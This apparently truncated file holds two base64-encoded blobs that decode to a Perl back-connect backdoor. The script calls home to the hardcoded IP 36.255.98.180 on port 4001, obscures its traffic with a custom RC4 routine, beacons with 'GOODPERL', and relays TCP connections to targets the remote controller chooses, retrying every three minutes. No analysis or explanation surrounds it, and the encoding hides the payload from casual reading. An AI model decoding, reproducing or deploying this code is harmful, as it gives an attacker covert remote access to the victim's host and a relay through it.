RjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODAnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSB